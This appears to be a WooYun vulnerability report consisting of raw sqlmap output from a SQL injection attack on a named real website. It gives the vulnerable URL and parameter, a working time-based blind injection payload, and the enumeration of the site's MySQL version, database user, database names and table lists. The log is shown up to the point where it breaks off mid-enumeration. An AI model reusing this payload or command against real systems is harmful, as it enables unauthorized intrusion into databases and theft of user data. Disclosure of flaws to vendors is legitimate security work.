WooYun.org

~/sqlmap$ ./sqlmap.py -u http://i.xilu.com/index.php?p=space_viewUserInfo\&ownerid=6531955 -a
         _
 ___ ___| |_____ ___ ___  {1.0-dev-caafa37}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:38:23
[23:38:24] [INFO] resuming back-end DBMS 'mysql' 
[23:38:24] [INFO] testing connection to the target URL
[23:38:24] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ownerid (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: p=space_viewUserInfo&ownerid=6531955 AND (SELECT * FROM (SELECT(SLEEP(5)))KZZh)
---
[23:38:24] [INFO] the back-end DBMS is MySQL
[23:38:24] [INFO] fetching banner
[23:38:24] [INFO] resumed: 5.0.27-log
web application technology: Apache, PHP 5.2.0
back-end DBMS: MySQL 5.0.12
banner:    '5.0.27-log'
[23:38:24] [INFO] fetching current user
[23:38:24] [INFO] resumed: [email protected]!
current user:    '[email protected]!'
[23:38:24] [INFO] fetching current database
[23:38:24] [INFO] resumed: spacedb
current database:    'spacedb'
[23:38:24] [INFO] fetching server hostname
[23:38:24] [WARNING] time-based comparison requires larger statistical model, please wait..............................                        
[23:38:27] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
[23:38:27] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
hostname:    None
[23:38:27] [INFO] testing if current user is DBA
[23:38:27] [INFO] fetching current user
current user is DBA:    False
[23:38:27] [INFO] fetching database users
[23:38:27] [INFO] fetching number of database users
[23:38:27] [INFO] resumed: 1
[23:38:27] [INFO] resumed: 'space'@'219.232.253.162'
database management system users [1]:
[*] 'space'@'219.232.253.162'
[23:38:27] [INFO] fetching database users password hashes
[23:38:27] [INFO] fetching database users
[23:38:27] [INFO] fetching number of password hashes for user 'space'
[23:38:27] [INFO] retrieved: 
[23:38:27] [WARNING] unable to retrieve the number of password hashes for user 'space'
[23:38:27] [ERROR] unable to retrieve the password hashes for the database users (probably because the session user has no read privileges over the relevant system database table)
[23:38:27] [INFO] fetching database users privileges
[23:38:27] [INFO] fetching database users
[23:38:27] [INFO] fetching number of privileges for user 'space'
[23:38:27] [INFO] resumed: 1
[23:38:27] [INFO] fetching privileges for user 'space'
[23:38:28] [INFO] resumed: USAGE
database management system users privileges:
[*] %space% [1]:
    privilege: USAGE
[23:38:28] [WARNING] on MySQL the concept of roles does not exist. sqlmap will enumerate privileges instead
[23:38:28] [INFO] fetching database users privileges
database management system users roles:
[*] %space% [1]:
    role: USAGE
[23:38:28] [INFO] sqlmap will dump entries of all tables from all databases now
[23:38:28] [INFO] fetching database names
[23:38:28] [INFO] fetching number of databases
[23:38:28] [INFO] resumed: 5
[23:38:28] [INFO] resumed: info
[23:38:28] [INFO] resumed: score
[23:38:28] [INFO] resumed: spacedb
[23:38:28] [INFO] resumed: test
[23:38:28] [INFO] resumed: usermsg
[23:38:28] [INFO] fetching tables for databases: 'info, score, spacedb, test, usermsg'
[23:38:28] [INFO] fetching number of tables for database 'info'
[23:38:28] [INFO] resumed: 0
[23:38:28] [WARNING] database 'info' appears to be empty
[23:38:28] [INFO] fetching number of tables for database 'test'
[23:38:28] [INFO] resumed: 26
[23:38:28] [INFO] resumed: areas
[23:38:28] [INFO] resumed: code
[23:38:28] [INFO] resumed: col
[23:38:28] [INFO] resumed: d
[23:38:28] [INFO] resumed: db_monitor
[23:38:28] [INFO] resumed: favorite_temp
[23:38:28] [INFO] resumed: msgcountofuser_name2
[23:38:28] [INFO] resumed: mytest
[23:38:28] [INFO] resumed: mytest1
[23:38:28] [INFO] resumed: mytest2
[23:38:28] [INFO] resumed: myuser
[23:38:28] [INFO] resumed: newtable
[23:38:28] [INFO] resumed: stat
[23:38:28] [INFO] resumed: tes
[23:38:28] [INFO] resumed: test
[23:38:28] [INFO] resumed: user_s_temp
[23:38:28] [INFO] resumed: vilage
[23:38:28] [INFO] resumed: xilu_autoanswer
[23:38:28] [INFO] resumed: xilu_province
[23:38:28] [INFO] resumed: xilu_topics
[23:38:28] [INFO] resumed: xilu_user_worktype
[23:38:28] [INFO] resumed: zhongqiu
[23:38:28] [INFO] resumed: zhuce
[23:38:28] [INFO] resumed: zhuce1
[23:38:28] [INFO] resumed: ziparea
[23:38:28] [INFO] resumed: zipcode
[23:38:28] [INFO] fetching number of tables for database 'score'
[23:38:28] [INFO] resumed: z0
[23:38:28] [WARNING] unable to retrieve the number of tables for database 'score'
[23:38:28] [INFO] fetching number of tables for database 'usermsg'
[23:38:28] [INFO] resumed: 9
[23:38:28] [INFO] resumed: msgop
[23:38:28] [INFO] resumed: noupdates
[23:38:28] [INFO] resumed: tableinfo
[23:38:28] [INFO] resumed: updates
[23:38:28] [INFO] resumed: usermsg1
[23:38:28] [INFO] resumed: usermsg2
[23:38:28] [INFO] resumed: usermsg3
[23:38:28] [INFO] resumed: usermsg4
[23:38:28] [INFO] resumed: usertable
[23:38:28] [INFO] fetching number of tables for database 'spacedb'
[23:38:28] [INFO] resumed: 67
[23:38:28] [INFO] resumed: album_comment
[23:38:28] [INFO] resumed: album_comment_211
[23:38:28] [INFO] resumed: album_comment_recycle
[23:38:28] [INFO] resumed: album_group
[23:38:28] [INFO] resumed: album_group_211
[23:38:28] [INFO] resumed: album_keyword
[23:38:28] [INFO] resumed: album_pic
[23:38:28] [INFO] resumed: album_pic_211
[23:38:28] [INFO] resumed: album_recycle
[23:38:28] [INFO] resumed: album_server
[23:38:28] [INFO] resuming partial value: album_